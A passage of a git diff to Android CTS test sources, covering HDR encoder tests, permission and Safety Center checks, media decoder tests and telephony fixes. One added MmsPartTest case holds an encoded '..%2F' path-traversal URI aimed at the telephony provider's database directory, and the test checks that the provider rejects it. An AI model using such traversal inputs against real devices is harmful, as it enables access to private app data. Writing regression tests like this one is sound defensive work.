- format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
- format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
- format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
- format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
- mFormats.clear();
- mFormats.add(format);
- Assume.assumeTrue(mCodecName + " does not support this HDR profile",
- areFormatsSupported(mCodecName, mMime, mFormats));
- Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
- hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
- mBytesPerSample = 2;
- setUpSource(INPUT_VIDEO_FILE_HBD);
- mOutputBuff = new OutputManager();
- mCodec = MediaCodec.createByCodecName(mCodecName);
- mOutputBuff.reset();
- String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
- File tmpFile;
- int muxerFormat;
- if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
- muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
- tmpFile = File.createTempFile("tmp10bit", ".webm");
- } else {
- muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
- tmpFile = File.createTempFile("tmp10bit", ".mp4");
- }
- mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
- configureCodec(format, true, true, true);
- mCodec.start();
- doWork(4);
- queueEOS();
- waitForAllOutputs();
- if (mTrackID != -1) {
- mMuxer.stop();
- mTrackID = -1;
- }
- if (mMuxer != null) {
- mMuxer.release();
- mMuxer = null;
- }
- assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
- assertTrue(log + "no input sent", 0 != mInputCount);
- assertTrue(log + "output received", 0 != mOutputCount);
-
- MediaFormat fmt = mCodec.getOutputFormat();
- mCodec.stop();
- mCodec.release();
-
- // verify if the out fmt contains HDR Static metadata as expected
- validateHDRStaticMetaData(fmt, hdrStaticInfo);
-
- // verify if the muxed file contains HDR metadata as expected
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- String decoder = codecList.findDecoderForFormat(format);
- assertNotNull("Device advertises support for encoding " + format.toString() +
- " but not decoding it", decoder);
- CodecDecoderTestBase cdtb =
- new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
- String parent = tmpFile.getParent();
- if (parent != null) parent += File.separator;
- else parent = "";
- cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
- if (mTestDynamicMetadata) {
- cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false);
- }
-
- // if HDR static metadata can also be signalled via elementary stream then verify if
- // the elementary stream contains HDR static data as expected
- if (mCheckESList.contains(mMime)) {
- cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
-
- // since HDR static metadata is signalled via elementary stream then verify if
- // the elementary stream contains HDR static data as expected
- if (mTestDynamicMetadata) {
- cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true);
- }
- }
-
- tmpFile.delete();
+ @CddTest(requirements = {"5.12/C-6-4"})
+ public void testHDRInfo() throws IOException, InterruptedException {
+ validateHDRInfo(mHDRStaticInfo, mHDRDynamicInfo);
}
}
diff --git a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
index 234a0cd1047..a0467a2f692 100644
--- a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
+++ b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
@@ -19,7 +19,7 @@ package android.ondevicepersonalization.cts;
import static org.junit.Assert.assertEquals;
import android.content.Context;
-import android.ondevicepersonalization.OnDevicePersonalizationManaging;
+import android.ondevicepersonalization.OnDevicePersonalizationManager;
import androidx.test.core.app.ApplicationProvider;
@@ -29,17 +29,17 @@ import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
/**
- * Test of {@link OnDevicePersonalizationManaging}
+ * Test of {@link OnDevicePersonalizationManager}
*/
@RunWith(JUnit4.class)
public class OnDevicePersonalizationServiceTest {
private Context mContext;
- private OnDevicePersonalizationManaging mService;
+ private OnDevicePersonalizationManager mService;
@Before
public void setup() throws Exception {
mContext = ApplicationProvider.getApplicationContext();
- mService = mContext.getSystemService(OnDevicePersonalizationManaging.class);
+ mService = mContext.getSystemService(OnDevicePersonalizationManager.class);
}
@Test
diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
index ebbfd30bf8f..ceb98350c06 100644
--- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
@@ -37,11 +37,14 @@ import androidx.test.annotation.UiThreadTest;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"})
@RunWith(AndroidJUnit4.class)
@SmallTest
public class DataSpaceTest {
@@ -196,9 +199,10 @@ public class DataSpaceTest {
}
}
+ @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"})
@UiThreadTest
@Test
- public void getDataSpaceWithFormatYUV420_888() {
+ public void getDataSpaceWithFormatYV12() {
mTex = new int[1];
glGenTextures(1, mTex, 0);
@@ -208,7 +212,7 @@ public class DataSpaceTest {
mSurface = new Surface(mSurfaceTexture);
mWriter = new ImageWriter.Builder(mSurface)
- .setImageFormat(ImageFormat.YUV_420_888)
+ .setImageFormat(ImageFormat.YV12)
.build();
Image inputImage = null;
@@ -218,7 +222,7 @@ public class DataSpaceTest {
mSurfaceTexture.updateTexImage();
- // test default dataspace value of ImageFormat.YUV_420_888 format.
+ // test default dataspace value of ImageFormat.YV12 format.
assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace());
} finally {
if (inputImage != null) {
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
index b97c903997c..d26c45ffd33 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -16,6 +16,7 @@
package android.media.decoder.cts;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
@@ -66,6 +67,7 @@ import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Rule;
@@ -214,6 +216,8 @@ public class DecodeAccuracyTestBase {
return false;
}
configureVideoFormat(mediaFormat, videoFormat);
+ Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat,
+ MediaUtils.supports(codecName, mediaFormat));
setRenderToSurface(surface != null);
return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
index 0857809211e..af4e75a5383 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -37,6 +37,7 @@ import android.util.Log;
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.MediaUtils;
import org.junit.Before;
@@ -56,7 +57,7 @@ public class DecoderTestAacFormat {
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static final boolean sIsAtLeastT =
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
-
+ private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
@@ -67,6 +68,7 @@ public class DecoderTestAacFormat {
* Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
*/
@Test
+ @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"})
public void testHeAacM4aMultichannelDownmix() throws Exception {
Log.i(TAG, "START testDecodeHeAacMcM4a");
@@ -101,7 +103,7 @@ public class DecoderTestAacFormat {
assertEquals("Number of channels differs for codec:" + codecName
+ " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
2, aacDownmixParams.getNumChannels());
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) {
// KEY_CHANNEL_MASK expected to work starting with T
assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
AudioFormat.CHANNEL_OUT_STEREO,
@@ -168,7 +170,7 @@ public class DecoderTestAacFormat {
assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
MediaFormat format = extractor.getTrackFormat(0);
String mime = format.getString(MediaFormat.KEY_MIME);
- assertTrue("not an audio file", mime.startsWith("audio/"));
+ assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC));
MediaCodec decoder;
if (decoderName == null) {
@@ -276,7 +278,7 @@ public class DecoderTestAacFormat {
} catch (NullPointerException e) {
fail("KEY_SAMPLE_RATE not found on output format");
}
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) {
try {
audioParams.setChannelMask(
outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
index f5e3e0d7958..9b98fede1bd 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
@@ -129,81 +129,6 @@ public class NativeDecoderTest extends MediaTestBase {
return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
}
- private static int[] getSampleSizes(String path, String[] keys, String[] values)
- throws IOException {
- MediaExtractor ex = new MediaExtractor();
- if (keys == null || values == null) {
- ex.setDataSource(path);
- } else {
- Map<String, String> headers = null;
- int numheaders = Math.min(keys.length, values.length);
- for (int i = 0; i < numheaders; i++) {
- if (headers == null) {
- headers = new HashMap<>();
- }
- String key = keys[i];
- String value = values[i];
- headers.put(key, value);
- }
- ex.setDataSource(path, headers);
- }
-
- return getSampleSizes(ex);
- }
-
- private static int[] getSampleSizes(FileDescriptor fd, long offset, long size)
- throws IOException {
- MediaExtractor ex = new MediaExtractor();
- ex.setDataSource(fd, offset, size);
- return getSampleSizes(ex);
- }
-
- private static int[] getSampleSizes(MediaExtractor ex) {
- ArrayList<Integer> foo = new ArrayList<Integer>();
- ByteBuffer buf = ByteBuffer.allocate(1024*1024);
- int numtracks = ex.getTrackCount();
- assertTrue("no tracks", numtracks > 0);
- foo.add(numtracks);
- for (int i = 0; i < numtracks; i++) {
- MediaFormat format = ex.getTrackFormat(i);
- String mime = format.getString(MediaFormat.KEY_MIME);
- if (mime.startsWith("audio/")) {
- foo.add(0);
- foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
- foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
- foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
- } else if (mime.startsWith("video/")) {
- foo.add(1);
- foo.add(format.getInteger(MediaFormat.KEY_WIDTH));
- foo.add(format.getInteger(MediaFormat.KEY_HEIGHT));
- foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
- } else {
- fail("unexpected mime type: " + mime);
- }
- ex.selectTrack(i);
- }
- while(true) {
- int n = ex.readSampleData(buf, 0);
- if (n < 0) {
- break;
- }
- foo.add(n);
- foo.add(ex.getSampleTrackIndex());
- foo.add(ex.getSampleFlags());
- foo.add((int)ex.getSampleTime()); // just the low bits should be OK
- byte[] foobar = new byte[n];
- buf.get(foobar, 0, n);
- foo.add(adler32(foobar));
- ex.advance();
- }
-
- int [] ret = new int[foo.size()];
- for (int i = 0; i < ret.length; i++) {
- ret[i] = foo.get(i);
- }
- return ret;
- }
-
@Test
public void testDataSource() throws Exception {
int testsRun = testDecoder(
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index 4a2ffaf9d33..1facb8d3933 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -40,7 +40,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
+ <option name="media-folder-name" value="CtsMediaMiscTestCases-2.0" />
<option name="dynamic-config-module" value="CtsMediaMiscTestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/misc/DynamicConfig.xml b/tests/tests/media/misc/DynamicConfig.xml
index 09e5fbaf95f..51e05bbba75 100644
--- a/tests/tests/media/misc/DynamicConfig.xml
+++ b/tests/tests/media/misc/DynamicConfig.xml
@@ -15,6 +15,6 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-1.0.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-2.0.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/media/misc/copy_media.sh b/tests/tests/media/misc/copy_media.sh
index 96f5a499d3b..27ba1e73422 100755
--- a/tests/tests/media/misc/copy_media.sh
+++ b/tests/tests/media/misc/copy_media.sh
@@ -17,4 +17,4 @@
[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
get_adb_options "$@"
-copy_media "misc" "CtsMediaMiscTestCases-1.0"
+copy_media "misc" "CtsMediaMiscTestCases-2.0"
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
index 0c392295e04..dbb60353267 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
@@ -20,6 +20,6 @@ import android.media.cts.WorkDirBase;
class WorkDir extends WorkDirBase {
public static final String getMediaDirString() {
- return getMediaDirString("CtsMediaMiscTestCases-1.0");
+ return getMediaDirString("CtsMediaMiscTestCases-2.0");
}
}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
index 81c0d89b9d2..86c6912796c 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
@@ -75,6 +75,7 @@ public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
private CtsTestServer mServer;
@Before
+ @Override
public void setUp() throws Throwable {
super.setUp();
}
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 1d81e4405fb..fdfda50bda9 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -670,9 +670,9 @@ class AutoRevokeTest {
val parent = waitFindObject(
By.clickable(true)
.hasDescendant(By.textStartsWith("Remove permissions"))
- .hasDescendant(By.clazz(Switch::class.java.name))
+ .hasDescendant(By.checkable(true))
)
- return parent.findObject(By.clazz(Switch::class.java.name))
+ return parent.findObject(By.checkable(true))
}
private fun waitForIdle() {
diff --git a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
index 28d58d65076..513e1dfebf4 100644
--- a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
@@ -33,6 +33,7 @@ import android.permission.cts.NotificationListenerUtils.getNotification
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueDoesNotExist
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueExist
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterStarted
+import android.permission.cts.SafetyCenterUtils.deleteDeviceConfigPrivacyProperty
import android.permission.cts.SafetyCenterUtils.deviceSupportsSafetyCenter
import android.permission.cts.SafetyCenterUtils.setDeviceConfigPrivacyProperty
import android.platform.test.annotations.AppModeFull
@@ -114,6 +115,28 @@ class AccessibilityPrivacySourceTest {
}
@Test
+ fun testJobSendsNotificationOnEnable() {
+ mAccessibilityServiceRule.enableService()
+ runJobAndWaitUntilCompleted()
+ assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, true.toString())
+ cancelNotification(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+ InstrumentedAccessibilityService.disableAllServices()
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, false.toString())
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS, "0")
+
+ // enable service again and verify a notification
+ try {
+ mAccessibilityServiceRule.enableService()
+ runJobAndWaitUntilCompleted()
+ assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+ } finally {
+ deleteDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS)
+ }
+ }
+
+ @Test
fun testJobSendsIssuesToSafetyCenter() {
mAccessibilityServiceRule.enableService()
runJobAndWaitUntilCompleted()
@@ -294,6 +317,7 @@ class AccessibilityPrivacySourceTest {
private const val ACCESSIBILITY_SOURCE_ENABLED = "sc_accessibility_source_enabled"
private const val SAFETY_CENTER_ENABLED = "safety_center_is_enabled"
private const val ACCESSIBILITY_LISTENER_ENABLED = "sc_accessibility_listener_enabled"
+ private const val ACCESSIBILITY_JOB_INTERVAL_MILLIS = "sc_accessibility_job_interval_millis"
private const val ACCESSIBILITY_JOB_ID = 6
private const val ACCESSIBILITY_NOTIFICATION_ID = 4
diff --git a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
index 9daeff2af4a..f88b7ecbbaa 100644
--- a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
@@ -104,7 +104,7 @@ public class BaseNotificationListenerCheckTest {
private static final String PROPERTY_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
"notification_listener_check_interval_millis";
- private static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
+ protected static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
SECONDS.toMillis(1);
private static final String PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW =
diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
index 3ee161f67e0..88006b999a7 100644
--- a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
@@ -151,6 +151,25 @@ public class NotificationListenerCheckTest extends BaseNotificationListenerCheck
}
@Test
+ public void notificationIsShownAgainAfterDisableAndReenableAppNotificationListener()
+ throws Throwable {
+ runNotificationListenerCheck();
+
+ eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS);
+
+ // Disallow NLS, and run NLS check job. This should clear NLS off notified list
+ disallowTestAppNotificationListenerService();
+ runNotificationListenerCheck();
+
+ // Re-allow NLS, and run NLS check job. This work now that it's cleared NLS off notified
+ // list
+ allowTestAppNotificationListenerService();
+ runNotificationListenerCheck();
+
+ eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ @Test
public void removeNotificationOnUninstall() throws Throwable {
runNotificationListenerCheck();
diff --git a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
index 931ecd1bc6b..7514079bfc3 100644
--- a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
+++ b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
@@ -88,6 +88,16 @@ object SafetyCenterUtils {
}
@JvmStatic
+ fun deleteDeviceConfigPrivacyProperty(
+ propertyName: String,
+ uiAutomation: UiAutomation = instrumentation.uiAutomation
+ ) {
+ runWithShellPermissionIdentity(uiAutomation) {
+ DeviceConfig.deleteProperty(DeviceConfig.NAMESPACE_PRIVACY, propertyName)
+ }
+ }
+
+ @JvmStatic
private fun getSafetyCenterIssues(
automation: UiAutomation = instrumentation.uiAutomation
): List<SafetyCenterIssue> {
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index edfcf3a9291..ca4794dbe0c 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -71,6 +71,9 @@ public class PermissionPolicyTest {
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
+ private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION
+ = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -475,6 +478,8 @@ public class PermissionPolicyTest {
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case SET_UNRESTRICTED_GESTURE_EXCLUSION:
+ return true;
default:
return false;
}
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 872a243ce2e..d5bd49bdf37 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -297,7 +297,7 @@ class CameraMicIndicatorsPermissionTest {
// indicator
uiDevice.openQuickSettings()
assertPrivacyChipAndIndicatorsPresent(
- useMic || useHotword,
+ useMic,
useCamera,
chainUsage,
safetyCenterEnabled
@@ -392,11 +392,13 @@ class CameraMicIndicatorsPermissionTest {
chainUsage: Boolean,
safetyCenterEnabled: Boolean = false
) {
- // Ensure the privacy chip is present
- eventually {
- val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
- assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
- privacyChip.click()
+ // Ensure the privacy chip is present (or not)
+ val chipFound = isChipPresent()
+ if (useMic || useCamera) {
+ assertTrue("Did not find chip", chipFound)
+ } else { // hotword
+ assertFalse("Found chip, but did not expect to", chipFound)
+ return
}
eventually {
@@ -470,6 +472,21 @@ class CameraMicIndicatorsPermissionTest {
}
}
+ private fun isChipPresent(): Boolean {
+ var chipFound = false
+ try {
+ eventually {
+ val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+ assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+ privacyChip.click()
+ chipFound = true
+ }
+ } catch (e: Exception) {
+ // Handle more gracefully after
+ }
+ return chipFound
+ }
+
private fun pressBack() {
uiDevice.pressBack()
waitForIdle()
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
index b9694c32af7..24e55c5cc79 100644
--- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -22,4 +22,5 @@ interface IBitmapService {
int getAllocationSize(in BitmapWrapper bitmap);
boolean didReceiveBitmap(in BitmapWrapper bitmap);
boolean ping();
+ void exit();
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
index c532e05e906..ec39ab0640b 100644
--- a/tests/tests/security/src/android/security/cts/BitmapService.java
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -40,6 +40,11 @@ public class BitmapService extends Service {
public boolean ping() {
return true;
}
+
+ @Override
+ public void exit() {
+ System.exit(0);
+ }
};
@Nullable
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index e824deb2e74..05273661eed 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -25,11 +25,12 @@ import android.graphics.Bitmap;
import android.os.BadParcelableException;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.google.common.util.concurrent.AbstractFuture;
import org.junit.After;
@@ -80,8 +81,10 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase {
public void tearDown() {
if (mRemoteConnection != null) {
final Context context = mInstrumentation.getContext();
- context.stopService(mIntent);
context.unbindService(mRemoteConnection);
+ try {
+ mRemote.exit();
+ } catch (Exception ex) { }
mRemote = null;
mRemoteConnection = null;
}
@@ -94,8 +97,7 @@ public class BitmapTest extends StsExtraBusinessLogicTestCase {
mIntent.setComponent(new ComponentName(
"android.security.cts", "android.security.cts.BitmapService"));
mRemoteConnection = new PeerConnection();
- context.bindService(mIntent, mRemoteConnection,
- Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE);
mRemote = mRemoteConnection.get();
}
return mRemote;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index d7bc9b15896..e2fdef7ed9d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -5095,8 +5095,12 @@ public class TelephonyManagerTest {
.adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
try {
mTelephonyManager.setSimSlotMapping(simSlotMapping);
- } catch (IllegalArgumentException e) {
- fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ } catch (IllegalArgumentException | IllegalStateException e) {
+ // if HAL version is less than 2.0, vendors may not have implemented API,
+ // skipping the failure.
+ if (mRadioVersion >= RADIO_HAL_VERSION_2_0) {
+ fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ }
}
List<UiccSlotMapping> slotMappingList = new ArrayList<>();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 00e4dfe157a..fc5bbbd0ca9 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -29,6 +29,8 @@ import android.database.Cursor;
import android.net.Uri;
import android.provider.Telephony;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -127,6 +129,20 @@ public class MmsPartTest {
}
+ /**
+ * Verifies uri path outside the directory of mms parts is not allowed.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update")
+ public void testMmsPartUpdate_invalidUri() {
+ ContentValues cv = new ContentValues();
+ Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.."
+ + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony"
+ + "%2Fdatabases");
+ int cursorUpdate = mContentResolver.update(uri, cv, null, null);
+ assertThat(cursorUpdate).isEqualTo(0);
+ }
+
